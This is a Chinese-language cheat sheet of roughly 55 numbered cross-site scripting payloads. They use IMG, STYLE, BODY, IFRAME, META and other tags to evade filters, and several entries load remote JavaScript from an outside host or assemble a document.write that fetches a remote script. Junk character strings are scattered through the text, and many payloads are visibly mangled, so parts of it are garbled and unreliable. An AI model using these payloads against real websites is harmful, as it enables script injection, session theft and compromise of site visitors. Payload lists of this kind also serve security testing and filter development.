(1)普通的XSS JavaScript注入
* n G9 F j6 _9 z1 p8 h<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>1 e7 B- t, i1 Y- r5 T- r& ]$ X' s% r
(99)另类弹框; t8 {* Q1 u {" k
<q/oncut=alert()>15 E F& S0 M) M) k' g& ]% ]
<s/onclick=alert()>b, o/ [1 n) |, |0 B; N" O8 Z; s
<XSS=" onclick="alert(1)//">clickme</SSX=">) U% h# T3 L* A) T; ^. z
<zzz onclick=alert`1`>clickme</zzz> 9 h" r5 J+ c! @/ v! i3 W
<a onclick=alert`1`>clickme</a>$ Z/ z) `# ~% u
<a=">clickme</a=">
8 s4 B- @: I, |7 V7 f<a=">clickme</a>
' ^4 q' |% h7 o- w, u<z=">clickme</z=">
9 u! g/ c% {% N& X$ @2 n<z onclick=alert`1`>clickme</z>
/ h7 I, H0 J% A2 t
$ o) N# D: w6 L$ P, w/ \(2)IMG标签XSS使用JavaScript命令- O- Q* F7 t9 a; x, U! F
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>: S1 q' d {6 C j8 @ D0 _
. C9 r A/ ~9 F3 U& `(3)IMG标签无分号无引号2 }& x0 Y/ L, N. F
<IMG SRC=javascript:alert(‘XSS’)>
( }* X( F; U H0 _" B
8 y, Y! m m* c" [9 H+ f* @2 j(4)IMG标签大小写不敏感3 s1 {/ k1 o6 I4 P8 z* D
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
. o( Y- d" f' p# f: _
7 T$ v/ q! {$ F/ {9 R- n(5)HTML编码(必须有分号). V; _0 e) T \. h$ \$ r
<IMG SRC=javascript:alert(“XSS”)>9 E3 C3 i$ F/ _& x! W
9 s, C( M, }5 l e/ S+ t(6)修正缺陷IMG标签) @) u6 R7 Y8 n% Z
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
3 h3 i4 |( X7 S) ^9 F: w' L& C" Y- [4 W& ~
(7)formCharCode标签(计算器)% C. ?' Q! d5 ]/ x0 n4 o: F8 g
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
3 |6 I+ {0 I+ q4 P$ d p3 i/ ?; t, U7 L* M: ]" q5 j
(8)UTF-8的Unicode编码(计算器)$ W0 M h6 p6 L1 R3 Z, k
<IMG SRC=jav..省略..S')>
* @; ~9 ]) @2 F2 s+ b1 ]- g- _& R9 G# y6 G+ X
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
0 ?) s F; f6 C<IMG SRC=jav..省略..S')>
& e: l1 x. J S
$ H8 O" X2 k" g(10)十六进制编码也是没有分号(计算器)# o* ^( _4 V7 M' l; D
<IMG SRC=\'#\'" /span>
% H1 A: N0 G0 g3 ~# K- M6 a, J$ h; }
(11)嵌入式标签,将Javascript分开+ e Q$ V6 p5 B+ X$ @
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>; N, g9 {/ Q1 v- N
# Z/ Z6 r" i% u3 d7 p# p# \( r; e
(12)嵌入式编码标签,将Javascript分开
: q, ~6 i$ k R$ a; R. ^<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>$ ?% d Y% O. z c# {" q9 R% S
, x! X/ g5 d5 ~5 K(13)嵌入式换行符
/ Q8 K6 ]. z/ c. [<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
. h6 G* }% \" z P4 A
* X, V9 K2 x. r, ?5 K(14)嵌入式回车# R0 B5 `& V' o) S! P% l) m
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>3 m: y% j2 S+ C% Z( i/ {) y
' g" B8 q* T2 U(15)嵌入式多行注入JavaScript,这是XSS极端的例子: G2 }( Z7 Y0 x7 N4 R- |
<IMG SRC=\'#\'" /span>
- ^2 |7 o4 R: O+ Q
- W6 N+ s' E" _! e. @7 o(16)解决限制字符(要求同页面)
8 s: X) X3 Q0 t/ o, b6 s<script>z=’document.’</script>2 f" I8 f) \0 u
<script>z=z+’write(“‘</script>
* _3 E! v0 W9 P) t# B' ?" ?<script>z=z+’<script’</script>
9 w8 c) M2 c6 W, }9 N<script>z=z+’ src=ht’</script>
4 `1 C& u$ _+ Y7 P$ \<script>z=z+’tp://ww’</script>: C1 p; f" k' L$ |
<script>z=z+’w.shell’</script>" ^5 k" O J# b1 @
<script>z=z+’.net/1.’</script>
3 ~9 K! T2 A- F% n<script>z=z+’js></sc’</script>
/ P/ d$ d+ m P0 ~" T/ I<script>z=z+’ript>”)’</script>% C/ M7 i3 L, e: h& |+ c
<script>eval_r(z)</script>
/ G+ T3 ?3 Q+ w' }$ P v5 C9 n/ ]* P; K: r+ I* q* {8 z4 i; }
(17)空字符% z: {- V! i1 |3 K6 ]9 m
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out, B3 O: v* h: m
7 ~, y$ d) h6 u: D8 K0 ^
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用$ N# m3 P3 T0 V3 h! ~# ]
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
1 j2 @- o6 w- B( n- X9 J" n! F! I7 |. v" a5 a% M9 K# t" l
(19)Spaces和meta前的IMG标签
, r, o# }/ m3 U<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
3 k! s7 H5 I5 `4 }+ m- V" y/ E2 l, H0 l: G
(20)Non-alpha-non-digit XSS
, Z& C( n7 f# O0 Q% H<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
" F d( ?' }3 W! [- \6 ]
, w' n+ H" T& Z(21)Non-alpha-non-digit XSS to 26 z6 O* [% f: k& q; U! `0 {
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>. Q9 K* u4 D/ T' T. S0 q- q8 d
, p' J/ u% v% X( s8 i5 R* t
(22)Non-alpha-non-digit XSS to 3
5 u% a K2 o% k" p<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
+ A1 C5 |* M# n$ u r9 d) t. d; m9 s2 S' C6 L' S' T6 {2 _1 `; N; o
(23)双开括号
, s6 v1 C/ j! Z8 @' C' F<<SCRIPT>alert(“XSS”);//<</SCRIPT>- B, X, h4 i) c. {
0 g' f6 h, K; [& c N; y: |
(24)无结束脚本标记(仅火狐等浏览器)
* ]$ e' o# x: g: f<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
) D5 q* _ E7 j+ {
$ f+ \, u6 [% U4 q(25)无结束脚本标记2
6 G* U: {9 T1 z4 |/ O<SCRIPT SRC=//3w.org/XSS/xss.js>, \5 p0 i# Q! Z- ]9 v
: U2 x T8 x! W, n }/ t
(26)半开的HTML/JavaScript XSS
+ {. \, m* ^0 a6 {: ? M: L% V<IMG SRC=\'#\'" /span>( u7 k, w4 z# p: q+ r
* i9 H9 Y, K8 C: j(27)双开角括号
& o3 u( _! e1 K, V# i9 Y<iframe src=http://3w.org/XSS.html <) x; a5 m1 K+ T- D
2 y* y/ G$ V) t1 E( O
(28)无单引号 双引号 分号
6 `9 n% P$ Y( w% r/ w<SCRIPT>a=/XSS/
2 H4 k& c& l9 o' R# v3 E7 {alert(a.source)</SCRIPT>9 `* B1 ?- h& R. ?8 o P4 \; I
$ e9 J, P: @: s(29)换码过滤的JavaScript
: K; Q( ]8 i$ H7 Y\”;alert(‘XSS’);//
& n. N) U2 J; H. u& S
- ?' x! |4 F8 X5 {0 X(30)结束Title标签0 f; ~) e2 b0 \2 o) `
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>1 I6 K8 Z7 j, q4 Q% w& e
E! }0 n% W9 H+ K
(31)Input Image8 z) C) m' e, R8 j& ]5 H$ M
<INPUT SRC=\'#\'" /span>
! ]* ~/ k5 f# A% t7 x
+ l' `. |1 e8 y3 d1 t) L$ f5 d% S5 G2 a(32)BODY Image
4 ^- X' I4 [9 f4 @<BODY BACKGROUND=”javascript:alert(‘XSS’)”>5 j1 d& l; _, S$ b
7 p- }. r% q& W2 u
(33)BODY标签
! ^' }% Y5 W; E" V( Q<BODY(‘XSS’)>
, [& D+ Z, v' @
9 w3 [4 K9 K+ ^+ z s$ O8 d( K, |(34)IMG Dynsrc
- C& G0 _& ?% V5 X<IMG DYNSRC=\'#\'" /span>
; k+ _$ n% u9 p' e$ t# [# }. Z& O( k6 C! O
(35)IMG Lowsrc
, O! o+ Q% G1 ~ z. p<IMG LOWSRC=\'#\'" /span>
4 }9 P: x* c; d+ ^! t: Q$ O0 n/ M
: i: u' v. [1 h2 q X% d6 h(36)BGSOUND
7 X% R1 l1 B5 g<BGSOUND SRC=\'#\'" /span>
/ E3 ^" { P5 F0 l
% G* S, n7 O; Y6 {0 V(37)STYLE sheet
" b+ q+ f- I% n9 i5 D2 G% t<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>" ~. R( K4 R+ G; {3 ]# e2 E
. U; \0 j" b7 p2 \% r$ }(38)远程样式表
2 J, V; ~! m8 Z<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>; Y2 D# i+ i6 R" M& G# G
0 H: v/ |0 D8 m S- n
(39)List-style-image(列表式)
) O3 u# O5 Q- K6 _2 Z* x4 P<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
, ^6 \' ~/ y1 p& O2 c
+ r, j( O- J: q5 @ q(40)IMG VBscript' S( B. v/ C8 x' o* b2 S6 @ @
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS, ~1 k& Y4 U! v1 r
7 ^# v0 M9 g' C7 r) b(41)META链接url
8 u# O6 W; O. U' \$ J: S<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>3 ~4 P# I! d' F$ W0 H; u- l
$ i9 Q' N: H. A# Z- T9 L# q u
(42)Iframe! q! X! [5 e' N' Y: U% A0 x) x
<IFRAME SRC=\'#\'" /IFRAME>
8 W$ i8 [" Q8 u1 A9 N' \- H8 L% i# v5 D) s! |5 l9 @) o
(43)Frame, Q- @: x( J% O2 \2 e. }7 J, r
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>6 ^# b, |* [ w. u) g4 A9 Q
! {7 x/ d5 j; C' x1 h& N(44)Table
A8 }% q1 I0 B<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
E# K# k" b8 d0 h% K- V* A- g- r G2 L
(45)TD0 [$ I: P0 o5 G" [) j, `" z2 J
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>7 c5 b0 F* _' j- s
1 M: K5 w' L1 P/ J- z3 p) ^(46)DIV background-image
! |+ i) D7 K: m. V7 w: K/ q<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>3 ~: u' v( U/ \. b
) A" R K" c, d) R& G7 Z7 R(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)5 n( z7 W0 @$ t* x$ c4 i& i
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
8 t5 B& N6 M: J, i% Y* j2 |: m: C
(48)DIV expression& l5 _7 T$ { q& h& W8 z# x
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>1 @! V' t: a8 h" \
" i A3 ~" w5 M* Z
(49)STYLE属性分拆表达6 x9 n+ F' Z" [
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
) Y9 i! c) a- y/ P5 z/ c/ w# o5 s, f! i0 u
(50)匿名STYLE(组成:开角号和一个字母开头)( ~9 q, d& q& ]
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
' r N9 P ?% N7 L/ R& Y: J1 ^! r# a
(51)STYLE background-image: x; B/ n1 ~; r+ }! M
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
0 {. l( K1 S' ~2 f/ {5 Q( A+ O4 @7 d7 ?4 i
(52)IMG STYLE方式
! ]# [, n' }: d+ ], z" ]exppression(alert(“XSS”))’>
; U2 m( F- \: N% M- l
: }- I; B) y' m% f(53)STYLE background
+ h6 `0 e9 ]! j) w, K<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>. _5 J; c* d+ r6 @- y: t
% _5 L1 u5 ]6 C& b2 Q
(54)BASE
1 s2 U! {0 U0 H4 w) Z' B<BASE HREF=”javascript:alert(‘XSS’);//”>
5 M% P+ W4 o- R* L& M! p/ d( |( G" D) S* R
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS0 w/ l+ N8 {) {2 x' \' G
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>) r2 f \( Y! [" y3 W
|